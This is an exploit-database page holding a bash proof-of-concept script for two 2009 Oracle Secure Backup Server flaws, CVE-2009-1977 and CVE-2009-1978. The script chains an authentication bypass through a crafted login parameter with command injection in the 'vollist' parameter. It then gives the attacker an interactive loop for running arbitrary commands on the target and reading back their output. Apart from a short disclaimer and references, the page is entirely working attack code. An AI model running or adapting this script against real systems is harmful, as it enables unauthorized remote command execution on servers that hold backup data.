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Oracle Secure Backup Server Bypass / Command Injection

🗓️ 15 Sep 2009 00:00:00Reported by Luca CarettoniType 
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Oracle Secure Backup Server Bypass / Command Injection exploit for CVE-2009-1977 and CVE-2009-197

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`#!/bin/bash  
  
#Oracle Secure Backup Administration Server authentication bypass, plus command injection vulnerability  
#1-day exploit for CVE-2009-1977 and CVE-2009-1978   
  
#PoC script successfully tested on:  
#Oracle Secure Backup Server 10.3.0.1.0_win32_release  
#MS Windows Professional XP SP3  
  
#In August 2009, ZDI discloses a few details regarding a couple of interesting vulnerabilities within Oracle Backup Admin server.  
#Since I was quite interested in such flaws, I did a bit of research. This PoC exploits two separate vulnerabilities: a smart   
#authentication bypass and a trivial command injection, resulting in arbitrary command execution.   
  
#References:  
#http://www.zerodayinitiative.com/advisories/ZDI-09-058/  
#http://www.zerodayinitiative.com/advisories/ZDI-09-059/  
  
#Use it for ethical pentesting only! The author accepts no liability for damage caused by this tool.  
#Luca "ikki" Carettoni (blog.nibblesec.org), 10th September 2009  
  
clear  
echo ":: Oracle Secure Backup Admin Server 10.3 AuthBypass/CodeExec Exploit ::"  
  
if [[ $# -ne 1 ]]  
then  
echo "usage: ./$(basename $0) <target IP>"  
echo "i.e.: ./$(basename $0) 192.168.0.100"  
exit  
fi  
  
if ! which curl >/dev/null  
then  
echo "'curl' is required in order to handle HTTPS connections"  
exit  
fi  
  
TARGET=$1  
  
#Exploiting CVE-2009-1977 and getting a valid token  
echo "[+] Exploiting CVE-2009-1977 against $TARGET"  
postdata="button=Login&attempt=1&mode=&tab=&uname=--fakeoption&passwd=fakepwd"  
session=`curl -kis "https://$TARGET/login.php" -d $postdata | grep "PHPSESSID=" | head -n 1 | cut -d= -f 2 | cut -d\; -f 1`  
  
if [[ -z $session ]]  
then  
echo "[!] Fatal error. No valid token has been retrieved"  
exit  
fi  
  
echo "[+] I got a valid token: $session"  
  
#Use a valid session and CVE-2009-1978 in order to inject arbitrary commands  
echo "[+] Exploiting CVE-2009-1978 against $TARGET"  
shell="1%26ver>osb103shelltmp"  
curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null  
check=`curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session" | grep -i Microsoft`  
  
if [[ -z $check ]]  
then  
echo "[!] Fatal error. I cannot execute arbitrary commands"  
exit  
fi  
  
echo "[+] Enjoy your non-interactive shell! Use EXIT to clean up everything"  
echo  
echo \>$check  
  
while(true); do  
echo -n \>  
read -r cmd  
  
if [ "$cmd" == "EXIT" ]  
then  
echo "[+] Removing the temporary file and closing"  
shell="1%26del%20osb103shelltmp"  
curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null  
exit  
fi  
  
#URLencode function  
cmd=`echo -n "$cmd"|od -t x1 -A n|tr " " %`  
shell="1%26$cmd>osb103shelltmp"  
curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null  
echo "[+] Last successful command execution:"  
curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session"  
done  
#end  
  
`

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